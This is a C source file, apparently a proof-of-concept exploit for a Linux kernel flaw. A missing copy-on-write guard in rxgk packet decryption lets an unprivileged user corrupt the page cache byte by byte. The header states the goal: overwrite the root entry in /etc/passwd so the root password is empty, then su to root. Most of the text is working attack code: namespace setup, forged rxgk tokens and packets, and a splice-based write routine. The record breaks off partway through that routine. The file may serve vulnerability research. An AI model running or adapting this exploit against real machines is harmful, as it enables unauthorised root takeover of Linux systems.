1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb()
*
* net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
* crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template
* (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb
* frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback),
* the in-place decrypt corrupts the page cache.
*
* The same pattern exists in rxkad (rxkad_verify_packet_2).
*
* Exploitation uses a sliding-window technique to write arbitrary bytes to the
* pagecache one at a time. Each round fires a spliced rxgk packet at offset
* S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly
* random (1/256 chance of the target value). Round i+1 at offset S+i+1
* overwrites the 15 bytes of collateral from round i, but never touches the
* byte set by round i. This yields byte-granularity writes at ~256 fires per
* byte.
*
* Attack: rewrite /etc/passwd root entry → empty password → su root → flag.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#ifdef __has_include
# if __has_include(<linux/rxrpc.h>)
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
# else
# define NEED_RXRPC_DEFS
# endif
#else
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
#endif
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifdef NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT 2
#define RXRPC_USER_CALL_ID 1
struct sockaddr_rxrpc {
unsigned short srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
unsigned short family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
#endif
#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS 17
#define AES_KEY_LEN 16
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
/* --- helpers --- */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
/* --- user/net namespace --- */
static void setup_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
exit(1);
}
} else {
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_proc("/proc/self/gid_map", map);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr = {};
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
}
/* --- rxgk XDR token construction --- */
static void xdr_put32(uint8_t **pp, uint32_t val)
{
uint32_t nv = htonl(val);
memcpy(*pp, &nv, 4);
*pp += 4;
}
static void xdr_put64(uint8_t **pp, uint64_t val)
{
xdr_put32(pp, (uint32_t)(val >> 32));
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
xdr_put32(pp, (uint32_t)len);
memcpy(*pp, data, len);
*pp += len;
size_t pad = (4 - (len & 3)) & 3;
if (pad) { memset(*pp, 0, pad); *pp += pad; }
}
static int build_rxgk_token(uint8_t *out, size_t maxlen,
const uint8_t *base_key, size_t keylen)
{
uint8_t *p = out;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
(uint64_t)ts.tv_nsec / 100ULL;
xdr_put32(&p, 0); /* flags */
xdr_put_data(&p, "poc.test", 8); /* cell */
xdr_put32(&p, 1); /* ntoken */
uint8_t tok[512];
uint8_t *tp = tok;
xdr_put32(&tp, RXGK_SECURITY_INDEX);
xdr_put64(&tp, now); /* begintime */
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
xdr_put64(&tp, 2); /* level = ENCRYPT */
xdr_put64(&tp, 864000000000ULL); /* lifetime */
xdr_put64(&tp, 0); /* bytelife */
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
xdr_put_data(&tp, base_key, keylen); /* key */
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
xdr_put_data(&tp, ticket, sizeof(ticket));
size_t toklen = (size_t)(tp - tok);
xdr_put32(&p, (uint32_t)toklen);
memcpy(p, tok, toklen);
p += toklen;
if ((size_t)(p - out) > maxlen) return -1;
return (int)(p - out);
}
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
uint8_t buf[1024];
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
/* --- AF_RXRPC client + fake UDP server --- */
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
close(fd); return -1;
}
int min_level = RXRPC_SECURITY_ENCRYPT;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
close(fd); return -1;
}
return fd;
}
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
char data[] = "TESTDATA";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx;
msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
return -1;
return 0;
}
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7F000001),
};
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}
/*
* Fire one splice-based pagecache corruption at the given file offset.
* Sets up an rxgk connection with the provided key, completes the handshake
* via a fake UDP server on loopback, then splices pagecache pages into a
* forged DATA packet. The kernel's in-place decrypt corrupts the pagecache.
*
* Returns 1 on fire, -1 on setup error.
*/
static int trigger_seq = 0;
static int fire(int target_fd, off_t splice_off, size_t splice_len,
const uint8_t *base_key, size_t keylen)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);
long key = add_rxgk_key(keyname, base_key, keylen);
if (key < 0) return -1;
/* Use high-entropy ports to avoid TIME_WAIT collisions */
uint16_t port_S = 10000 + (rand() % 27000) * 2;
uint16_t port_C = port_S + 1;
int ret = -1;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) goto out_key;
int cli = setup_rxrpc_client(port_C, keyname);
if (cli < 0) goto out_udp;
if (initiate_call(cli, port_S, 1234) < 0)
goto out_cli;
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(hdr->epoch);
uint32_t cid = ntohl(hdr->cid);
uint32_t callN = ntohl(hdr->callNumber);
uint16_t svc = ntohs(hdr->serviceId);
uint16_t cport = ntohs(cli_addr.sin_port);
/* send challenge */
{
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
memset(ch, 0, sizeof(ch));
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
c->epoch = htonl(epoch);
c->cid = htonl(cid);
c->serial = htonl(0x10000);
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
c->securityIndex = RXGK_SECURITY_INDEX;
c->serviceId = htons(svc);
for (int i = 0; i < 20; i++)
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
struct sockaddr_in to = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
sendto(udp_srv, ch, sizeof(ch), 0,
(struct sockaddr *)&to, sizeof(to));
}
/* drain response(s) */
for (int i = 0; i < 3; i++) {
struct sockaddr_in src;
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
}
/* forge DATA packet: wire header from userspace, payload from pagecache */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = RXGK_SECURITY_INDEX;
mal.serviceId = htons(svc);
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
goto out_cli;
int p[2];
if (pipe(p) < 0) goto out_cli;
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
close(p[0]); close(p[1]);
usleep(1000);
/* drain the error from the client socket (HMAC check fails as expected) */
int fl = fcntl(cli, F_GETFL);
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
for (int i = 0; i < 2; i++) {
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
recvmsg(cli, &m, 0);
}
ret = 1;
out_cli:
close(cli);
out_udp:
close(udp_srv);
out_key:
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
return ret;
}
/* --- sliding window write with progress display --- */
static void progress(int done, int total, int fires)
{
int width = 40;
int filled = total ? (done * width / total) : 0;
int pct = total ? (done * 100 / total) : 0;
fprintf(stderr, "\r [");
for (int j = 0; j < width; j++)
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
if (done == total) fputc('\n', stderr);
fflush(stderr);
}
static int pagecache_write(int rfd, void *map, off_t base,
const uint8_t *target, int len, off_t file_size,
const char *label)
{
uint8_t key[16];
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
struct timespec t0;
clock_gettime(CLOCK_MONOTONIC, &t0);
int total = 0;
int max_off = (int)(file_size - 28);
if (base + len - 1 > max_off)
len = max_off - (int)base + 1;
/* Find first byte that differs. We must write everything from there
* onward, because each round's 15-byte damage zone corrupts the next
* bytes even if they originally matched. */
int start = 0;
for (int i = 0; i < len; i++) {
uint8_t cur;
pread(rfd, &cur, 1, base + i);
if (cur != target[i]) { start = i; break; }
if (i == len - 1) {
LOG("pagecache already matches, skipping write");
return 0;
}
}
int need = len - start;
LOG("writing shellcode to %s (%d bytes from offset %d)",
label, need, (int)base + start);
progress(0, need, 0);
for (int i = start; i < len; i++) {
off_t off = base + i;
uint8_t want = target[i];
|